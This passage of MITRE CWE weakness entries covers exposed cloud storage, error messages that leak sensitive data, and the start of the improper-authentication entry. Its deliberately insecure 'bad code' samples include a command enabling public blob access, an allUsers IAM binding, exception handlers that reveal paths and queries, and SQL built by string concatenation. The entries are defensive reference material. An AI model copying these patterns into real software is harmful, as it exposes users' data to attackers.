Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Cloud Computing (Often Prevalent)

+ Demonstrative Examples

Example 1

The following Azure command updates the settings for a storage account:

(bad code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

(good code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false

Example 2

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

(informative)
Example Language: Shell 
gsutil iam get gs://BUCKET_NAME

Suppose the command returns the following result:

(bad code)
Example Language: JSON 
{
"bindings":[{
"members":[
"projectEditor: PROJECT-ID",
"projectOwner: PROJECT-ID"
],
"role":"roles/storage.legacyBucketOwner"
},
{
"members":[
"allUsers",
"projectViewer: PROJECT-ID"
],
"role":"roles/storage.legacyBucketReader"
}
]
}

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

(good code)
Example Language: Shell 
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME

+ Observed Examples
Reference Description
Data file under web root.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 743 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 815 OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 877 CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
OWASP Top Ten 2004 A10 CWE More Specific Insecure Configuration Management
CERT C Secure Coding FIO15-C Ensure that file operations are performed in a secure directory
+ References
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.7. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1327] Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". Section 5.1. 2022-03-31. <https://www.cisecurity.org/benchmark/google_cloud_computing_platform>. URL validated: 2023-04-24.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2009-07-27 CWE Content Team MITRE
updated Relationships
2010-09-09 Veracode
Suggested OWASP Top Ten mapping
2010-09-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Affected_Resources, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Description, Relationships
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References
2023-04-27 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Errant Files or Directories Accessible

CWE-209: Generation of Error Message Containing Sensitive Information

Weakness ID: 209
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product generates an error message that includes sensitive information about its environment, users, or associated data.
+ Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways:

  • self-generated: the source code explicitly constructs the error message and delivers it
  • externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer

An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.
+ Potential Mitigations

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.

Phases: Implementation; Build and Compilation

Strategy: Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phases: Implementation; Build and Compilation

Strategy: Environment Hardening

Debugging information should not make its way into a production release.

Phase: System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

Phase: System Configuration

Create default error pages or messages that do not leak any information.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 200 Exposure of Sensitive Information to an Unauthorized Actor
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 755 Improper Handling of Exceptional Conditions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 210 Self-generated Error Message Containing Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 211 Externally-Generated Error Message Containing Sensitive Information
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 550 Server-generated Error Message Containing Sensitive Information
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1295 Debug Messages Revealing Unnecessary Information
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 600 Uncaught Exception in Servlet
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 756 Missing Custom Error Page
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 389 Error Conditions, Return Values, Status Codes
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 200 Exposure of Sensitive Information to an Unauthorized Actor
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1015 Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
System Configuration
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Often Prevalent)

Java (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following example, sensitive information might be printed depending on the exception that occurs.

(bad code)
Example Language: Java 
try {
/.../
}
catch (Exception e) {
System.out.println(e);
}

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.


Example 2

This code tries to open a database connection, and prints any exceptions that occur.

(bad code)
Example Language: PHP 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.


Example 3

The following code generates an error message that leaks the full pathname of the configuration file.

(bad code)
Example Language: Perl 
$ConfigDir = "/home/myprog/config";
$uname = GetUserInput("username");

# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /^\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
ExitError("Error: $file does not exist");
}
...

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.


Example 4

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.


+ Observed Examples
Reference Description
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Existence of user names can be determined by requesting a nonexistent blog and reading the error message.
Direct request to library file in web application triggers pathname leak in error message.
Malformed input to login page causes leak of full path when IMAP call fails.
Malformed regexp syntax leads to information exposure in error message.
verbose logging stores admin credentials in a world-readablelog file
SSH password for private key stored in build log
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

Effectiveness: High

Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

Effectiveness: Moderate

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 717 OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 728 OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 815 OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 851 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 867 2011 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 880 CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 933 OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1417 Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Accidental leaking of sensitive information through error messages
OWASP Top Ten 2007 A6 CWE More Specific Information Leakage and Improper Error Handling
OWASP Top Ten 2004 A7 CWE More Specific Improper Error Handling
OWASP Top Ten 2004 A10 CWE More Specific Insecure Configuration Management
The CERT Oracle Secure Coding Standard for Java (2011) ERR01-J Do not allow exceptions to expose sensitive information
Software Fault Patterns SFP23 Exposed Data
+ References
[REF-174] Web Application Security Consortium. "Information Leakage". <http://projects.webappsec.org/w/page/13246936/Information%20Leakage>. URL validated: 2023-04-07.
[REF-175] Brian Chess and Jacob West. "Secure Programming with Static Analysis". Section 9.2, Page 326. Addison-Wesley. 2007.
[REF-176] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 16, "General Good Practices." Page 415. 1st Edition. Microsoft Press. 2001-11-13.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
[REF-179] Johannes Ullrich. "Top 25 Series - Rank 16 - Information Exposure Through an Error Message". SANS Software Security Institute. 2010-03-17. <http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Overly Verbose Error Messages", Page 75. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. URL validated: 2024-11-17.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution Date Contributor Organization
2022-07-11 Nick Johnston
Identified incorrect language tag in demonstrative example.
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Relationships
2009-01-12 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction
2009-03-10 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2009-12-28 CWE Content Team MITRE
updated Demonstrative_Examples, Name, Potential_Mitigations, References, Time_of_Introduction
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-09 Veracode
Suggested OWASP Top Ten mapping
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2011-06-01 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships
2013-07-17 CWE Content Team MITRE
updated References
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-09-19 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Description, Name, Observed_Examples, References, Relationships, Weakness_Ordinalities
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples
2023-01-31 CWE Content Team MITRE
updated Description
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Error Message Information Leaks
2009-12-28 Error Message Information Leak
2020-02-24 Information Exposure Through an Error Message

CWE-287: Improper Authentication

Weakness ID: 287
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Diagram for CWE-287
+ Alternate Terms
authentification:
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthN:
"AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
AuthC:
"AuthC" is used as an abbreviation of "authentication," but it appears to used less frequently than "AuthN."
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 295 Improper Certificate Validation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 645 Overly Restrictive Account Lockout Mechanism
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 613 Insufficient Session Expiration
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
